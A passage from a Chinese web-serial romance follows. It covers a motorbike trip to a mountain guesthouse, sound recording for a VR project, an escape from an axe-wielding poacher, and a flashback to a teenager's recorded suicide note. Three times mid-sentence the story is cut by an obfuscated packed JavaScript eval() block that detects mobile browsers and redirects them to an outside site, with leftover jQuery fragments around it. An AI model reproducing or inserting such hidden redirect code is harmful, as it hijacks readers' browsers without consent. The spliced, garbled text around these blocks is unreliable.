他贴着江清圆掌心的手滑到他手腕上,松松握着手腕将人拉到身后,看向远处。
遥遥的庄园主楼门边,一道窈窕身影若隐若现。
宋柏有些冷的目光和她远远交锋了一瞬,转向了车那旁的方铭华:“谢谢。”
他声音很轻,甚至有些温和,但方铭华听着,不知为什么,就是感觉凉飕飕的。
“我带他回去了,兰盛莲女士能查到我的学校和专业,应该也能查到我的联系方式。烦请你转告一下,带江清圆走是我一个人的主意,她有什么不满,尽管来找我。”
*
等下了公交,开门进了小别墅,江清圆才从恐惧的余韵里回过神。
低头一看,手腕还被宋柏牵着。
江清圆下意识往回抽了抽,圈着他手腕的手立马就松开了。
宋柏回过头来,听见江清圆问:“你是怎么知道我去哪了?”
他出门的时候可什么都没给宋柏说。
“我和方铭华有微信,”宋柏空了的手微微握了握,“搬家那天加的。”
现在看来是有用的。
“哦。”江清圆点了点头,心想可惜方铭华本职工作是保镖,就算宋柏加了微信,以后找他搬家也不一定能请得动。
思考的这一下,肩膀上就多了一只手,下一秒,江清圆就被按着坐到了餐桌旁。
再抬头,宋柏已经坐在了他对面。
这是干嘛,一堂会审?
江清圆嘴巴先行:“我其实是晕车泪失禁体质……”
“接下来会发烧吗?”宋柏温和的声音传来。
并没有问江清圆为什么待在车里。
江清圆猝不及防,嘴巴先行得太远,已答道:“会啊。”
他现在头已经按流程开始痛了。
这是十岁那场车祸后留下的后遗症,随便受点什么惊吓就爱发烧。
比敏感肌还敏感肌。
“好。”宋柏放在膝盖上的手攥成了拳。
那就是以前也被关在车里这么虐待过。
他心里怒气横生,面对江清圆却一丝不漏,熟练地掏出退烧药,又倒了杯水,一起递给江清圆:“那就把这个吃了好不好?”
软得不能再软的软话,江清圆和上一次一样,乖乖吞了退烧药。
嘴里的药刚咽下去,面前有多了一瓶别的,宋柏的声音比刚才更温和:“这是褪黑素,现在回床上吃两粒,闭上眼躺下,什么都不要想,好好睡一觉,可以吗?”
江清圆握着褪黑素的瓶子,很听话地点了点头,转身上了楼。
一直上了二楼,宋柏绝对看不见的地方,江清圆仰起头,任泪水在黑漆漆的楼道里滑落。
一分钟后,他伸手擦掉眼泪,掏出手机,点开和兰盛莲的微信聊天页面,发送了消息。
【元宝】妈妈,今天是我实在不舒服,才让宋柏来接的我。
【元宝】对不起,下次不会逃跑了。
【元宝】「线条小狗送你心心.gif」
兰盛莲的回复,江清圆第二天醒来才看到。
不知道是不是褪黑素的作用,他罕见地睡了个好觉,一直到第二天八点多自然醒。
醒了摸摸额头,可能是提前吃了退烧药的原因,竟然真的没有发烧。
简单的洗漱后,江清圆下了楼,刚出别墅大门,就听见一声浑厚声浪。
顺着声音一看,对面的东西让他睁大了眼。
一辆黑豹似的复古巡航机车停在他别墅对面,漆黑线条流畅张扬,夺人眼球。
机车上的人也是一身漆黑机车服,宽肩和长腿被勾勒得一览无余。
看到江清圆,他摘了头盔,露出了一张比平常更显凌厉冷俊的脸。
是宋柏。
宋柏平常在他眼前都是一副纯良大学生的打扮,江清圆猛地看见他这副打扮,一时还以为没醒来在梦里。
“有发烧吗?”宋柏对他笑了笑,浑身锋芒顿消。
“没有。”江清圆摇了摇头。
“那有睡个好觉吗?”
“有。”
“不是说有个作业要找你帮忙吗?”宋柏笑意更大了些,“就是今天,有时间吗?”
江清圆站在那里,声音慢吞吞的:“今天啊。”
“对,”宋柏看着他,“没时间吗?”
江清圆眨了眨眼,他口袋的手机里,躺着兰盛莲今早发来的消息。
【长念】那就今天再来一次吧。
“很远吗?”江清圆握紧了手机,问。
“有点远,在郊区,要去个几天,”宋柏拍了拍身下的机车,很认真地向他保证,“但我们不坐车过去。”
口袋里,江清圆的手死死摁着手机,好久好久,江清圆都没有说话。
沉默在两人之间蔓延开,对面,宋柏没有催促,只静静等待着。
他对江清圆永远有耐心。
不知过了多久,宋柏听到江清圆突然开口:“好几天的话,你等我回去收拾点衣服。”
他说完,不等宋柏回答,转身就往小别墅里走去。
刚开始两步是走的,随机就跑了起来。
江清圆越跑越快,口袋中手机里兰盛莲的消息随着他的动作上下颠簸着,他全然不顾。
如果他昨天没有被宋柏从那辆车里拉出来,他此时应该已经拒绝掉宋柏,在前往庄园的路上。
总之绝不会是回房间收拾衣服,还是跑的。
但他于刚刚才知道。
被从车上救下来过的人,就很难再自愿重新坐回车上了。
一颗心恐惧又激动,江清圆大步跑着,全然不顾。
宋柏刚才等江清圆回答的时候,还一副耐心十足的样子,但当人背着包刚坐上他的后座,他就迫不及待地拧动了把手。
机车发动,开始朝小区外驶去。
后座的江清圆立马就想抓住些什么,手朝后摩挲了好久,却没摸到有什么可以让他撑着。
而那种后背什么都没有的感觉让他的心再一次提了起来。
“可以扶着我的腰。”宋柏的声音从前方响起。
江清圆踌躇了一下,到底害怕战胜了陌生,他伸出手,没有扶上宋柏的腰,只松松拽住了点他腰侧的衣服。
但等出了小区来到车道上,速度提升,江清圆松松拽着的手瞬间收紧。
屈起的指骨一下抵上了宋柏的腰。
下一秒,宋柏的声音就传来了:“是快了吗?”
江清圆的是字抵着舌尖饶了一圈,说出口却是:“还好。”
他说的是还好,但身下机车的速度明显慢了下来。
“可以和我说的,”他们两个人都戴着头盔,宋柏的声音隔着头盔传来,趁着风,有些断断续续,但很温和, “我会慢下来的,直到你不害怕为止。”
江清圆在头盔里眨了眨眼。
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16074084|179295||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
这两天真是经历了好多第一次。
掌心里的衣服再次被攥紧,和手掌挤压出微烫的温度:“那能不能再慢些?”
他说得很小声,如果被风吹散了,江清圆想,他就不再说一遍了。
“好。”
宋柏听到了。
机车的速度又慢了些。
但还是有些快呀。
“再慢一点吧!”江清圆声音高了些。
“好啊!”宋柏的回答声也大了些,像是他的回音。
两人就这么一说一答间,机车的速度一点点降了下来,直到能清楚看清路两侧招牌上的每一个字。
也幸好今天是周六,又是往城外开,路上看不到几辆车,成全了他们的任性。
江清圆坐在后座,第一次在“车”上认真端详起了路边的街景。
涧州市的大街小巷里种了许多梧桐树,漆黑的树杆,翠绿茂盛的树叶,八点的阳光还不太晒,透过树冠撒下许多大大小小晃动的光斑。
就这么慢悠悠地从它们身旁略过,像浸在一条粼粼的绿色小溪里。
顺着小溪往前开,一块块光斑变成一圈圈浓郁的树荫时,郊区就到了。
从他们出小区,已经过了三个小时,但机车一路慢慢稳稳地开,一个个红绿灯认认真真地过,纵然江清圆没和宋柏再说什么话,也没有觉得无聊。
进了郊区没过多久,机车从一条小道拐上了山,顺着唯一的柏油小道弯弯绕绕地骑到深处,停在了一家民宿门口。
下了机车,江清圆抬头看去,柏油小道的尽头就是这家民宿,再往上,只有原始的望不到尽头的绿,认真听,也只有蝉鸣和隐隐水流声。
“这次来主要是采集自然界里的一些声音,所以选了这里,具体的吃完饭我和你细说。”宋柏停好机车,去推庭院的门,“采集的这几天,我们就住在这里。”
民宿主打自然风,推开吱呀作响的木栅栏大门,仿佛进了庙里,下一秒,庙里就窜出来了个和尚:“怎么现在才来,不是九点多就该到了,我还给你们准备了早饭!”
江清圆被吓了一跳,脚步停了一下。
“不可以吗?”宋柏挡在江清圆身前,“能不能像个人一样走路。”
说完转身向江清圆介绍:“这是我朋友,也是我室友,这家民宿老板的儿子,吴家兴。”
“再说我身份证号都要被你给抖出来了,”吴家兴撸了一把自己的光头,笑嘻嘻地看向江清圆,“你好你好,你就是老宋柏的金主对吧?”
看清江清圆,吴家兴愣了一下,紧接着,脸就不自觉地红了,再开口,声音都不自觉夹了起来:“刚刚吓到你了?对不住对不住,怪我师从少林寺,身手太敏捷了些。”
“你好,我叫江清圆。”江清圆笑着握了握他伸过来的手,偷偷抬眼瞧了瞧他的头顶,没有戒疤。
“我好我好,”吴家兴引着他们往里走,“我们进去说。”
大堂里,吴家兴给他们登记入住:“我们民宿小,又是暑假,来度假的人多,但我这人生性善良又讲义气,还是给我哥们、我兄弟老宋柏留了个双人间,喏,这是房卡。”
吴家兴将房卡和身份证递给江清圆:“我妈爸出去玩去了,民宿现在我管,有什么事找我就行。”
交代完才想起来自己的好哥们好兄弟老宋柏:“对了,我有事和你说。”
江清圆怕自己不方便听,很有眼色地道:“我先上去收拾了。”
看人上了楼,吴家兴认真对宋柏道:“我理解你了。”
江清圆长得也太好看了,他还是第一次对一个男的脸红。
吴家兴一个铁血直男,知道自己当然不是对江清圆有意思,只是面对绝对漂亮的人,一种下意识的反应罢了。
“要和我说的就是这事?”宋柏丝毫没有被理解的感动,他手里,拿着江清圆转递给他的房卡,指尖摩挲着他刚刚触摸过的地方,“没屁放我就上去了。”
“别别别,”吴家兴连忙道,“还有一个问题。”
他眼中闪着求知的光芒:“你这回是突然通了人性,真喜欢上了,还是彻底丢了人性,就是玩玩?”
宋柏手一拢,房卡完全被他捏在了掌心里,他看着吴家兴,笑了笑:“看见他的第一眼,我就觉得他应该是我老婆。”
11. 11
江清圆刷房卡进了这几天要住的房间,一眼看去,房间不大却干净精致,新中式的原木风既有质感又有情调。
两张黑胡桃木床占据了房间大部分空间,江清圆选了最里面那张。
离卫生间近,这样宋柏一会儿进来,就不会觉得他给他剩了一个离卫生间近不怎么安静的床位。
江清圆就是这种宁愿吃亏,也不想被别人心里蛐蛐的人,很有点死要体面活受罪。
将背包放在床上,江清圆朝最里面走去。
住里面也不是没有好处,最里面是一扇又大又干净的窗户,外面一条人踩出来的小道蜿蜒向上,两侧杉树参天而起。
窗户为界,下是人间,上是仙境。
江清圆趴在窗户上正看得兴致勃勃,口袋里的手机震了两下。
心脏都停了一瞬,拿出手机,江清圆跟查高考成绩似的,捂着眼睛从指缝里看清是谁后,整个人大松一口气。
宋柏的消息。
一张摆满菜的饭桌照片和一句话。
【。】午饭时间到^_^
江清圆回了一个好的表情包,退出对话框,视线往下扫,他和兰盛莲的对话框里一条新消息都没。
他现在都没到庄园,兰盛莲却什么都没说。
江清圆的手指在对话框上徘徊了好久,终是没点开,关了手机下了楼。
刚刚进来时觉得很安静,现在到了饭点,民宿大厅里的人突然多了起来。江清圆下了楼梯没看见宋柏和吴家兴,正站在人群中不知道往哪走,再一个抬眼,宋柏就出现在了不远处。
“我们不在餐厅吃,和吴家兴一起吃,”宋柏带着他往后院走,给他解释,“这次作业是我和吴家兴一起做的,接下来几天应该会常常见面。”
“他嘴贱,”宋柏抬手给江清圆掀起门口的珠帘,“如果说的话你觉得不好听,就直接说出来,不用忍。”
“冷幽默,我这叫冷幽默!”房间里餐桌旁,吴家兴拿着筷子敲桌抗议,“你这个冷血的人类!”
冷脸谴责完宋柏,他转眼就换了一副笑脸对着江清圆,和他锃光瓦亮的头一呼应,一整个□□大哥刚从良:“今天这菜可都是山里的特产,0科技全自然,小江你可要好好尝尝!”
江清圆坐下一看,果然是鸡鸡笋笋一大桌,热气腾腾地冒着独属于深山的鲜味。
“葱油鸡煲、清炖鸡汤、鸡都是走地鸡。马蹄笋烧咸菜、清炒时蔬、排骨竹筒饭,”吴家兴如数家珍,显然对吃颇有研究,“这道,蜜饯樱桃,做法取自南宋的《事林广记》,是千年古法,吃起来一点儿不酸!配上我酿的果酒,那简直绝了,谦虚地说,都是可以当传家宝的!”
江清圆有些招架不住吴家兴的热情,笑着说好后,不动声色地转移话题:“今天下午就开始做作业吗?”
吴家兴看向宋柏,宋柏点了点头:“对,下午上山开始采音。”
说完顿了顿,看向江清圆:“你需要午睡吗?”
江清圆摇了摇头。
他平时晚上都睡不着,午睡更是没听说过。
“那我们吃完就上山吧。”江清圆不想耽误他们作业。
有吴家兴这个“冷幽默 ”大师在,一顿饭就这么轻松愉快地过去了。
吃完饭,宋柏和吴家兴回房间收拾好录音装备后,在大门和江清圆汇合,准备出发。
“再往上就没有路了,只能靠腿走,”吴家兴向他们简单介绍情况,“录音装备咱们分着背,应该没问题。”
江清圆接过吴家兴递来的装备,还没来得及感受重量,就被宋柏拿走了。
“专业设备沉,路上又难走,我来背吧,”宋柏说得不容拒绝,“我们都是背习惯的了。”
江清圆还没来得及拒绝,宋柏扔下一句我来开路后就走了。
吴家兴在一旁目瞪口呆地看完宋柏这套操作。
家人们震撼啊!
他哼哧哼哧背着自己的装备赶上去,凑到宋柏身边夹着嗓子哼唧:“哥哥哥哥,我也背不动呢~ ”
“还有还有,人家可是有午睡的习惯呢,刚刚吃饭的时候,哥哥怎么不问问人家呢,讨厌!”
宋柏转过头,语气不变:“好了,知道你没对象心疼了。”
吴家兴:“……”
呵,哈哈。
呵。
他立马决定和宋柏绝交十分钟,于是又哼哧哼哧背着装备倒回了江清圆身边。
还没向江清圆开口,江清圆先问他了:“我想问下,我和宋柏的房间多少钱一晚呀?”
“问这个干什么,”吴家兴配合着他,也低声回道,“你就放心住,宋柏都付过钱了,我看着好哥们的份上,还给他打折了呢。”
一百二十折。
江清圆见他和宋柏熟悉,倒也没遮着掩着:“宋柏家庭条件不好,我总不能让他一个人付房费,他付了几天的?剩下的我来付吧。”
哪怕已经有他给的五万块钱了,江清圆想着,吴家兴家这座民宿挺小资,房费应该不会便宜,宋柏这样拮据生活过来的人,纵然掏了钱,也肯定会肉痛。
吴家兴听他这么说,一脸的震惊:“你说什么?!你再说一遍。”
“我说房费我来付就好啦。”江清圆重复了一遍。
“不是不是,”吴家兴一颗头摇出了折射反应,“是前面,前面那句话。”
“宋柏家庭条件不好,我……”
“就是这句话!”吴家兴打断他,倒吸一口凉气,像听见了地球人终于联络上了外星人,“哇——”
宋柏条件不好,哇哦,宋柏竟然条件不好。
吴家兴看着宋柏前面的背影,你小子,就是这么欺骗老婆的。
感受到后面有一道如炬目光打到自己背上,宋柏回头看去,看见吴家兴满脸冷笑:“大白天听见鬼故事了。”
宋柏没理他,站在那里等江清圆走近,问:“累吗?”
江清圆摇摇头。
这才刚开始走没多久呢,哪里累了。
旁边,吴家兴:“……”
哈哈,呵。
哈哈。
狗男男。
因吴家兴决定和他们两个人单方面断交两小时,接下来的行程立马安静了许多,又爬了快一个小时,随着树木越来越茂盛,路也越来越难走。
直到难以下脚的时候,走在最前面的宋柏停下了脚步。
“到了。”<
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16074085|179295||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>他侧过身,江清圆豁然开朗,眼前紧促的草木戛然而止,一片刀削的坡倾斜而下,尽头,一条小溪奔流。
“我们来采溪水的声音。”两个小时的冷战还没结束,吴家兴拿着设备自顾自跑一边去录风吹草的声音去了,宋柏带着江清圆来到小溪边,“我来采,你来听,帮我把关可以吗?”
江清圆看他熟练地将一个个部件组装成一个完成的设备,终是没忍住好奇:“采集这些声音是用到哪里的?”
“VR眼镜上,”宋柏给他解释,“当极致的画面和极致的声音结合在VR眼镜里,每个人都可以不用跋涉,来到这片森林里躺着听一下午的小溪流淌声。”
“你听。”宋柏给江清圆戴上耳机,将麦克风靠近溪水。
哗啦哗啦——
世界远去了。
江清圆一下子离水那么近,潺潺声摩擦着耳膜,让他也变成了一颗溪底被水不停流经过的石块。
不知已经躺在这里多少年,阳光怎么也烧不透水底,溪水照拂的他通身清凉,感知不到一丝燥意。
灵魂和水底的繁华的微生物一起,一遍遍接受流水的冲洗,心甘情愿沉溺在这宁静中。
江清圆眼前多了一个手机,宋柏举着备忘录:试着闭上眼睛。
江清圆听话地闭上了眼睛——
森林也远去了。
小溪流在他想要的任何一个场景里,这些场景和流水声拥簇着他,让江清圆眼皮不由自主地开始发痒。
竟是有了困意。
见他猛地睁开眼睛,宋柏给他摘下耳机,万物的声响再次冲向耳膜,江清圆有些不适应地抬手揉了揉耳朵。
“有什么感觉?”宋柏笑着问他。
江清圆眨了眨眼:“困,还有……平静。”
“自然的声音能有效降低压力激素水平,减少体内皮质醇等应激激素的分泌,帮助降低心率,来缓解焦虑和压力。”宋柏看着他,“还能刺激大脑释放内啡肽,用来增强幸福感,让人情绪稳定,是独一无二的自然疗愈机制。”
“这次作业我就想试验一下,如果将它和画面结合起来,放进能让人身临其境的VR眼镜里,能不能在某些不好的时刻,给人一点力量?”
就像千年前那场历经过苏轼的山间明月,江上清风那样。
比如在一些觉得人生没意义的瞬间,加班后陷在巨大的疲惫里看不见未来希望的时候,深夜失眠辗转反复的床上……
或是某个决心离开这个世界的计划过程中。
江清圆给了他肯定的回答:“一定会的。”
“是么?”宋柏看着他,“我之所以这么做,是因为我有个喜欢的人,他好像对活着疲惫了。”
江清圆指尖颤抖了一下,沉默了一会儿,用开玩笑的语气道:“那他应该比较难追。”
宋柏此时离江清圆很近,他漆黑眼眸注视着江清圆,眼前人可能自己都没发觉,他现在眼睛亮亮的,比平时还要漂亮。
而罩在他身上的那层苍白的壳终于褪去些许,生出一些稚嫩的,对这个世界的欣喜。
宋柏的声音很温和很温和。
“如果他能重新喜欢上这个世界,不喜欢我也没关系。”
12. 12
“ 叽叽咕咕说啥呢,”吴家兴从他们背后窜出来,两个小时到了,他又单方面恢复了建交,“能不能认真采了?”
“啊哦,好。”江清圆立马重新戴上耳机,流水声再次占据他的大脑,将宋柏刚刚那句话推远了些。
宋柏回头,凉凉地看了吴家兴一眼。
吴家兴对他嬉皮笑脸。
如此又录了一个多小时,江清圆的耳机重新被摘下。
“差不多可以了。”宋柏收起来麦克风,“我们还要再往上爬爬,上面有棵几百年的老树,树叶很茂盛,风吹起来的声音很好听,今天正好有风,一块儿采了。”
“好,”江清圆自然是没有问题,他没忘记宋柏交给他的任务,“我认真听了,全程声音没有问题,没有其他杂音。”
宋柏将收好的装备重新背到背上:“我相信你的。”
“还是我背点吧。”江清圆看着他身上的两个包,实在有点不好意思,刚刚他全程也就戴了个耳机,宋柏却是一动不动地举着那个长长的,看着就很重的麦克风。
不知道的,还以为宋柏是他助理。
“都困成这样了,”头顶落下来一只手,宋柏摘掉落在他发上的树叶,声音中有笑意,“还背什么。”
江清圆摸了摸头顶,又揉了揉打架的眼皮。
这么明显吗?
已经下午四点多了,山里天黑比较早,为了天黑前能下山,三个人没有休息,蹚过小溪,继续往上爬去。
这回换了吴家兴在前面开路,小溪再往上,路反而好走了些,闷头走了半个小时,前面吴家兴就停下了脚步。
“到了?”宋柏问。
“到倒是没到,”吴家兴有些郁闷的声音传来,“不是吧哥们,谁家好人来这里野餐啊!”
他们家的民宿在莫须山开了三四年了,吴家兴自认对这座山也很熟悉了,吃的玩的都在他们家民宿往下。
莫须山不是什么有名景点,也就是能漂流和露营,整个景区收入平平,因此导致上半部分一直没开发出来。
原始得不能再原始了,甚至不时都能听说有野生动物出没。
除了偶尔的登山客和附近村民,根本见不到人。
江清圆和宋柏走上前,吴家兴指着脚下的布:“野餐也就算了,野餐布还挑得这么丑,什么审美啊!”
江清圆一看,一块灰扑扑的布躺在吴家兴脚下,上面放着两个很复古的铁饭盒,里面还剩着一半没有陀的面条。
“不是野餐布吧,”宋柏蹲下身去,移开饭盒,提起来了那块布,“这是件外套。”
江清圆和吴家兴看过去,果然是有袖子有领口的,一件长相很标准的外套。
只不过太大了,刚刚铺在下面的时候,袖子和领口都压在底下,吴家兴才以为是块野餐布。
“太不讲卫生了。”吴家兴耸着肩,连连摇头。
江清圆被他夸张的样子逗得想笑,下一秒,手腕就被人攥住了。
吴家兴的声音同时在他另一边炸开:“你谁啊!”
江清圆一惊,抬头看去,瞳孔一缩。
他们的上方,不知道什么时候,站了一个人。
这是一个中年男人,他没穿外套,不但露出来的双臂上全是泥,脸上头发上也都是。
这些还不足以让吴家兴炸毛。
他右手握着一把斧头。
砍树的斧头,斧刃上一片干涸的红色,和他白背心上的血呼应着。
而左手上,拎着一只很明显已经死去的动物。
那动物浑身漆黑,深深垂下的颈上,头顶黄色的毛在风里微微晃动。
“黑麂!”吴家兴看了一眼就直接炸了,“卧槽你捕猎野生动物,是不是人啊卧槽!”
他愤怒地掏出手机:“我要报警抓你!”
掏出的手机还没举到耳边,就被宋柏按了下去:“你好,我朋友看错了,我们没看到什么野生动物,也没有看见你。我们只是上来采音的大学生,现在要回去了。”
他语气冷静,报警自然是要报警的,但现在对面拿着斧子,万一被激怒,吃亏的只能是他们。
宋柏记着眼前人的体貌特征,等下山安全了,再立马报警,才是万全之策。
这么说着,宋柏握着江清圆的手也没有松开。
话是这么说,但对于对面接下来的动作,宋柏是不乐观的。
“对不起对不起,”吴家兴冲动过后也冷静了下来,说着还蹲下去将人的外套给重新铺好,“我们马上走,”
对面男人一动不动,只是死死地盯着他们。
宋柏不再说话,牵着江清圆开始慢慢往后退。
江清圆跟着他的动作,抬起了脚。
也就是这一瞬。
对面的男人扔下黑麂,举着斧头,猛地朝他们俯冲而来。
“跑!”吴家兴的声音撕心裂肺。
握着自己手腕的手干燥有力,江清圆被宋柏拉着,朝山下狂奔而去。
两个装着录音装备的包已经被宋柏扔掉,他跑得那么快,江清圆狂奔的喘气声里想,宋柏如果不拉着他,是不是会跑得更快。
一定会的。
吴家兴就比他们两个快很多。
背后的脚步声越来越近,江清圆却觉得心脏越来越疼,自己的脚步也越来越重。
他跑不动了。
眼前发黑之前,江清圆能做的,只有去抽自己被宋柏握在手里的手腕。
没有抽动。
握着自己的手反而更紧了。
掌心里的手腕挣扎得越来越用力,眼前,吴家兴已经跑得男人轻易追不上了。
宋柏朝旁边看了一眼。
下一秒,一个转弯,江清圆就被宋柏拽着离开了主路,冲进了旁边茂密的丛林里。
进到丛林里的那刻,宋柏心里骂了句脏话。
爹的,竟然是空的。
江清圆还没来得及反应,就被宋柏抱进了怀里。
紧接着,便是天旋地转的滚动。
慌乱间,江清圆听见大大小小树木撞击□□的声音,却没有感觉到疼痛。他被宋柏紧紧护在怀里,后颈被他用手托着,牢牢摁在颈窝里,陷入一片安稳的黑暗。
不知往下滚了多久,一声不小的撞击声过后,一切平静
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16074086|179295||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
了下来。
摁在后颈的力道松了下来,江清圆挣扎地抬起头,就撞进了宋柏含着怒火的眼睛里。
“你刚刚抽什么手,”一阵阵后怕从心底涌上来,让宋柏顾不得身上的疼痛,话里不由自主地带着火,“那人就在后面追着,你慢一下,就有可能被他砍到知道……”
话没说完,宋柏就说不下去了。
江清圆哭了。
近在咫尺的,大颗大颗的泪水从眼前人漂亮的眼睛里涌出,再顺着脸颊安静地滑落。
他哭起来无声无息的,只有眼尾和鼻尖慢慢变红,一双含泪的眼睛一眨不眨地盯着你,再铁石心肠的心,再滔天的怒火,也该被这双眼睛泡软了,浇灭了。
“对不起,”宋柏什么气都没了,只剩下一颗被揉皱了的心,低声道, “我不该对你发火。”
想抬手去给他擦泪,却又怕吓着他,只能低着声音哄:“别哭了。”
江清圆转头看了看,中年男人没有追上来。
他将他横在自己腰间的手拿开,从宋柏怀里爬出来,问:“你有事吗?”
“没事。”宋柏摇摇头,连忙站起身,在江清圆面前转了一圈。
虽说是滚下来的,但坡其实不陡,一路上又有树缓冲。青一块紫一块是难免的,再严重也没有了。
江清圆看着他虽然衣服被划破了些,手臂上也有些擦伤,但终究没有折胳膊折腿。
他放下心来,眼泪却流得更凶了。
江清圆也不知道怎么了,泪就是止不住,他声音颤抖:“你见过我妈妈了,那我妈妈应该给你提起过我哥吧?”
宋柏站在那里,低头看着他,眼睫颤抖了一下,没有说话。
江清圆也不要他回答:“我小时候,我哥哥对我最好,然后我就害死了他。”
“我奶奶对我也很好,我的名字就是她取的。”江清圆抬手狠狠抹了一下眼泪,不想让泪再出来,但实在无能为力。
有些时刻,事情在心里盛不下了,就会从眼睛里流出来。
“在给我取好名字的第二天,她就查出来了癌症。”
“我妈妈找的大师说,是我命不好,会克身边的人。”
“所以你今天被人拿着斧子追着砍,指不定是因为靠近了我。”
江清圆很认真地道:“如果你早一点遇见我,今天说不定就要摔死了。”
“我抽手腕是,是,”江清圆喉咙发痛,有些话哽咽得说不出来,“我害死了哥哥,害惨了奶奶,我不能再……”
再害死你了。
江清圆低下头:“回去我给你多预支一个月工资,我们的合同就结束吧。”
他不敢去看宋柏接下来会有怎样震惊的眼睛,然而出乎意料的,江清圆手上落下了一份温暖。
宋柏蹲下身,握住了他的手。
“不是这样的。”他将自己放低,仰头去看江清圆。
抬起另一只手,宋柏用手做了一个口罩,捂住自己的嘴巴,只露出了一双眼睛。
“很久很久以前,有个人因为遇见了你,所以被你从悬崖边拉离。”
“你还记得他吗?”
13. 13
宋柏收到爸爸上吊消息的时候,营帐外正在篝火晚会。
营帐内一片沉默,班主任的声音带着小心翼翼:“今天太晚了,明天天一亮,我亲自送你下山回家。”
“谢谢老师,不用了。”宋柏脸上没有表情,“会有人给宋强收尸的,用不上我。”
看他这个样子,班主任再多的话,也都堵在喉咙里说不出来了,只能化为一声长长的叹息。
谁能不叹息。
宋强的好赌都传进学校里了,让自己儿子在学校里抬不起头。现在欠了几百万债后,眼见着这辈子还不上,自己拍拍屁股干脆上吊死了。
宋柏才多大?15岁,高中都没上!
“不回去怎么能行,”班主任最终还是劝道,“就算不为你爸,也为你妈妈想想,她后天不是头七吗?”
宋柏一直垂在身侧的手紧紧攥了起来。
死寂的沉默在营帐里蔓延,良久,他道:“老师,我想自己静静。”
班主任点了点头:“去吧,接下来的素质拓展活动你都不用参加了,要不要让王成琳陪着你?”
她记得王成琳是宋柏在学校里最好的朋友。
“谢谢老师,不用了。”宋柏拒绝后,转身出了营帐。
他没有回自己的营帐,与热闹明亮的篝火晚会背道而驰,向黑暗的后山走去。
走了快三十分钟,宋柏停了下来。面前,皓月当空,照着空荡荡的悬崖。
宋柏继续朝前走,一直走到脚尖抵着悬崖边,低头往下看去。
几百米的高度,让人产生微微的眩晕。
跳下去,足够摔死人了。
宋柏坐了下去,腿悬在悬崖外,从兜里掏出录音笔。
摁一下,是开始录音。
“我叫宋柏,这是一封遗书。”
“我今年15岁,家在涧州市旁的长平县都民村,因考上了涧州市一中,目前和妈妈在市里面的城中区幸福街租房住。”
“五天前,妈妈被追债的人拿刀捅死了。”
“欠债的人叫宋强,是我血缘关系上的爸爸,一个小时前,他上吊也死了。”
“这封遗书被听到的时候,我应该也死了。”
“需要强调的是,我做这个决定没有任何冲动的情绪在,反而经过了充分地思考,发现我对接下来的人生已经没有了任何的期待,于是才决定去死。”
“而我妈妈又怕黑,如果真的有黄泉路,我怕她一个人害怕,所以要快点下去陪她。”
“不知道是谁会捡到这个录音笔,可能发现我的是同学,但最后能听到这封遗书的,大概是老师。首先要对所有看到我尸体的人道歉。跳崖而死,我的死状会很恐怖,很不好意思,吓到你们了。”
“再有就是申明,我的舅舅舅妈操办了我妈妈的葬礼,应该也会操办宋强和我的葬礼。”
“我不同意妈妈和我与他葬在一起,我们也没钱买墓地,就将我们的骨灰盒,埋在姥爷家后的田边就好。妈妈小时候,最喜欢在那里玩跳皮筋。”
“最后我和妈妈在幸福街的出租屋床底下,有张银行卡,里面还有五千三百二十一块钱,是妈妈所有的遗产。”
“密码我一会儿会告诉朋友王青,其中,八百块钱请帮我转交给房东,是这个月的房租。剩下的四千五百二十一元,请帮我捐赠给红十字会。”
“以上,麻烦大家了,万分感谢。”
宋柏又摁了一下摁键,保存后起了身。
他再回到班级里的时候,篝火晚会已经结束,台上文艺晚会刚刚开始没多久。
《青花瓷》的BGM从舞台上遥遥传来,宋柏一时没看见王青,为了不打扰到别人看演出,随便在最后一排找了一个空座位坐了下来。
王成琳刚从班主任营帐里出来,也正在找他,一眼看到了他出现在最后一排,于是立马溜了过来,担心地拍了拍他肩膀:“你还好吧?”
宋柏握着手中的录音笔,安慰他:“没事。”
多年后,宋柏还记得此刻他想的是,现在就把密码告诉王成琳,然后找借口离开,结束自己的生命。
但比他奔向死亡更快的是,舞台上传来的报幕声。
“接下来,欢迎我校萤火话剧社带来的原创话剧《下山》!”
宋柏抬头看去。
一眼到最后。
直到看见那个从舞台大红幕布后跑出来的少年。
他人生的幕布即将闭合的时候,还能看见一轮从遥遥天际升起来的月亮,让他肩头落下一点亮晶晶的碎光。
宋柏想着,这就已经很好了。
如果他足够勇敢,又足够幸运,一定努力踮起脚尖去试着够够月亮。
可他不够勇敢,却也有点儿幸运,在生命的最后一晚,看见了月亮。
所以这已经很好了。
